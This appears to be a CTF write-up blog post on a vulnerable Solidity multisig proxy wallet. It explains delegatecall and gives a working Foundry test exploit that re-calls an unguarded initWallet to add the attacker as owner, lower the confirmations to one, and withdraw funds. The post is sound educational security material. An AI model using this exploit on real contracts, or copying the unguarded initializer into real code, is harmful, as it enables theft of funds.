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July 15th, 2022

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They started releasing CTF challenges on Twitter, so how couldn’t I start solving them?

CTF 2: Wallet

The challenge starts with this Tweet:

For this challenge, we have two different smart contracts to review:

WalletLibrary: A multisig wallet library

Only deployed once, proxy contracts execute the functions via delegatecall Owners can:

  • Submit a transaction
  • Approve and revoke approval of pending transactions
  • Anyone can execute a transaction after enough owners approved it

Wallet: A lightweight multisig wallet contract

Calls will be delegated to the wallet library contract Owners can:

  • Submit a transaction
  • Approve and revoke approval of pending transactions
  • Anyone can execute a transaction after enough owners approved it

At the moment of deployment, the Wallet the contract has three different owners and numConfirmationsRequired is equal to two. This means that to execute a transaction from the wallet, at least two owners have to approve that transaction.

Our goal is to be able to add ourselves to the list of owners and execute a transaction.

Study the contracts

Let’s review the logic of the contracts. The Wallet contract is a lightweight multisig wallet contract. When the users interact with it, two things can happen:

  1. If someone (anyone) sends some funds to it, the receive function will be triggered and those ethers will be stored in the contract's balance 2) Anything else, any function call, will be handled by the fallback function. This special function will forward the call to the implementation contract via delegatecall.

In practice, Wallet is just an implementation of the OpenZeppelin Proxy contract with some modification to automatically call the initWallet function on the implementation contract.

One thing that is important to always check is that the storage layout of the proxy and implementation will match. Because the implementation (WalletLibrary) will execute the logic code on the proxy's layout (Wallet) it's fundamental that they have the same storage layout. Otherwise, the implementation will read and write from the wrong variables!

I think that before anything we should understand two things
2. Why do we need Proxy Pattern, and what is it? 2) How delegatecall works and how it's used in the Proxy Pattern

Proxy Pattern

I think that anyone here knows that when you have deployed a Contract in the blockchain, you cannot override its code, right?

You can’t do what you usually do in the web2 worlds where if you find a bug, or you want to add a new feature you just write down the code, create some tests and then deploy it in production.

You can’t do that with the current Ethereum implementation. So, what if I would like to fix a bug in my code, or I would like to add a new feature?

The answer is the Proxy Pattern. The basic idea is this:

  1. The proxy will store the address of the implementation and the storage of the contract
  2. Any call to the contract itself will not directly interact with the contract, but will be forwarded via delegatecall to the implementation contract
  3. The implementation contract contains all the implementation logic that will modify the proxy state variables
  4. If you find a bug in the implementation, or you want to add a new feature, you just need to update the code of the implementation, deploy the new contract and update the address of the implementation contract that you have stored in the Proxy contract. Now all the calls to the proxy will be forwarded to the new implementation!

Now things are much more complicated than this and there are tons of security concerns that you must be aware of. I highly suggest you read some articles online and watch some videos made by Tincho Abbate because he explains this concept very, very well. When things get complicated like this, it is easy to make some mistakes!

So, we now have some basic knowledge about the proxy pattern but as we understood everything is based on the concept of delegatecall. How does it work?

delegatecall

delegatecall is a special opcode from EVM. Let's learn more about it from the Solidity Documentation:

The code at the target address is executed in the context (i.e. at the address) of the calling contract and msg.sender and msg.value do not change their values. This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.

What does it mean? Let’s use our contract as an example. When you try to execute initWallet on the Wallet contract, solidity will not find that function inside the code and will execute the fallback function. The fallback function will execute delegatecall toward the WalletLibrary contract, forwarding the whole operation.

This means that the code that is executed is inside WalletLibrary but the context used is the one from the Wallet contract. By this, I mean that msg.sender, msg.value and the storage is the one from the Wallet call.

Basically, it’s like if WalletLibrary will execute its code but on the Wallet contract. Any to a state variable be read and write on the Wallet storage!

The flow

Now that we know the basics of proxy and delegate calls, we can start reviewing the code and understand how it works.

When the Wallet contract is deployed, the constructor is executed

constructor(
    address _walletLibrary,
    address[] memory _owners,
    uint256 _numConfirmationsRequired
) {
    walletLibrary = _walletLibrary;    (bool success, ) = _walletLibrary.delegatecall(
        abi.encodeWithSignature("initWallet(address[],uint256)", _owners, _numConfirmationsRequired)
    );    require(success, "initWallet failed");
}

it sets up the walletLibrary address (the implementation of the contract), and will call initWallet on the walletLibrary via delegatecall. After that, it will check if the operation has been executed successfully; otherwise, it will revert.

After the initialization, owners will be able to use the multisig wallet by executing these functions:

  • submitTransaction to propose a transaction
  • confirmTransaction to confirm a proposed transaction. At least numConfirmationsRequired confirmations are needed to be able to execute the transaction
  • revokeConfirmation to revoke a confirmation to a transaction
  • executeTransaction to execute a transaction that has at least numConfirmationsRequired confirmations

initWallet function

Let’s review how the Wallet contract is set up by the initWallet function

function initWallet(address[] memory _owners, uint256 _numConfirmationsRequired) public {
    // console.log("initWallet", _numConfirmationsRequired);    require(_owners.length > 0, "owners required");
    require(
        _numConfirmationsRequired > 0 && _numConfirmationsRequired <= _owners.length,
        "invalid number of confirmations"
    );    for (uint256 i = 0; i < _owners.length; i++) {
        address owner = _owners[i];        require(owner != address(0), "invalid owner");
        require(!isOwner[owner], "owner not unique");        isOwner[owner] = true;
        owners.push(owner);
    }    numConfirmationsRequired = _numConfirmationsRequired;
}

The code will

  • check that at least one owner for the wallet is provided
  • the _numConfirmationsRequired required to confirm a transaction is lower or equal to the number of _owners provided otherwise the logic would stop working. You would not be able to execute a transaction if the number of confirmations needed is higher than the number of addresses that can confirm
  • check that each owner is not the address(0) and that they are unique
  • set up the onwers array and the isOwner mapping

From a logical point, I see that there’s already a problem. There’s no way to revoke an existing owner from the list of addresses that can interact with the wallet. What if one of the owners gets compromised or is a bad actor from the start? There is no way to revoke his/her access to the wallet!

Apart from that, do you see the huge security problem? Usually, in a proxy contract, you want to have a guard variable that prevents anyone from calling again the initialization function. In this function, there is no guard at all. What are the consequences of this flaw?

Well, anyone could call again and again wallet.initWallet that will call via delegatecall walletLibrary.initWallet that will write in the Wallet storage passing arbitrary values.

This means not only that I would be able to add my own address in the list of the owners but also that I'm able to override the numConfirmationsRequired variable and setting it to one.

This means that in just one single transaction I’m able to

  • add me to the list of the owners
  • set numConfirmationsRequired to 1 so only one confirmation is needed to execute a transaction
  • create a transaction to transfer the wallet ETH funds (or transfer ERC20/ERC1155/ERC721 tokens)
  • confirm it
  • execute it

Let’s see how it is possible in the solution part.

Solution code

Now what we have to do is:

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test

Here’s the code that I used for the test:

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;import "./utils/BaseTest.sol";
import "src/Wallet.sol";
import "src/WalletLibrary.sol";contract WalletTest is BaseTest {
    Wallet private wallet;
    WalletLibrary private walletLibrary;    constructor() {
        string[] memory userLabels = new string[](2);
        userLabels[0] = "Alice";
        userLabels[1] = "Bob";
        preSetUp(2, 100 ether, userLabels);
    }    function setUp() public override {
        // Call the BaseTest setUp() function that will also create testsing accounts
        super.setUp();        // Attach the contract to the addresses on the fork
        wallet = Wallet(payable(0x19c80e4Ec00fAAA6Ca3B41B17B75f7b0F4D64CB7));
        walletLibrary = WalletLibrary(payable(0x43FF315d0003365fe1246344115A3142b9EBfe0b));        vm.label(address(wallet), "Wallet");
        vm.label(address(walletLibrary), "WalletLibrary");        // We are funding the Wallet contract with 1 wei just to test the transaction that will allow us to withdraw from it!
        vm.deal(address(wallet), 1);
    }    function testTakeOwnership() public {
        address player = users[0];
        vm.startPrank(player);        // prepare the attack
        address[] memory owners = new address[](1);
        owners[0] = player;        // call the `wallet.fallback` function passing the correct data to make it make a
        // delegatecall to walletLibrary that will execute initWallet on Wallet's context
        // initWallet should be protected by a flag that check if the contract has been initialized or not
        // like require(owners.length == 0)
        // by doing so we have been added to the list of owners
        // but we can execute any transaction we want because we have lowered the amount of needed confirmation request
        // required to only 1
        (bool success, ) = address(wallet).call(abi.encodeWithSignature("initWallet(address[],uint256)", owners, 1));        assertEq(success, true);
        assertEq(wallet.numConfirmationsRequired(), 1);
        assertEq(wallet.owners(3), player);        // Now I'm one of the owners and because numConfirmationsRequired = 1 I can execute tx
        // Let's create a transaction.
        (success, ) = address(wallet).call(
            abi.encodeWithSignature("submitTransaction(address,uint256,bytes)", player, 1, "")
        );
        assertEq(success, true);        // Confirm the transaction we just created
        // At the moment of the creation of our transaction the transaction array was empty
        // So our txIndex is 0
        uint256 txIndex = 0;
        (success, ) = address(wallet).call(abi.encodeWithSignature("confirmTransaction(uint256)", txIndex));
        assertEq(success, true);        // Execute the transaction
        uint256 playerBalanceBefore = player.balance;
        (success, ) = address(wallet).call(abi.encodeWithSignature("executeTransaction(uint256)", txIndex));
        assertEq(success, true);        // Assert that we have received 1 wei from the Wallet contract
        assertEq(playerBalanceBefore + 1, player.balance);        vm.stopPrank();
    }
}

Here is the command I have used to run the test: forge test --match-contract WalletTest --fork-url <your_rpc_url> --fork-block-number 7178864 -vv

Just remember to replace <your_rpc_url> with the RPC URL, you got from Alchery or Infura.

You can read the full solution to the challenge, by opening Wallet.t.sol

Further reading

Disclaimer

All Solidity code, practices, and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.

DO NOT USE IT IN PRODUCTION.

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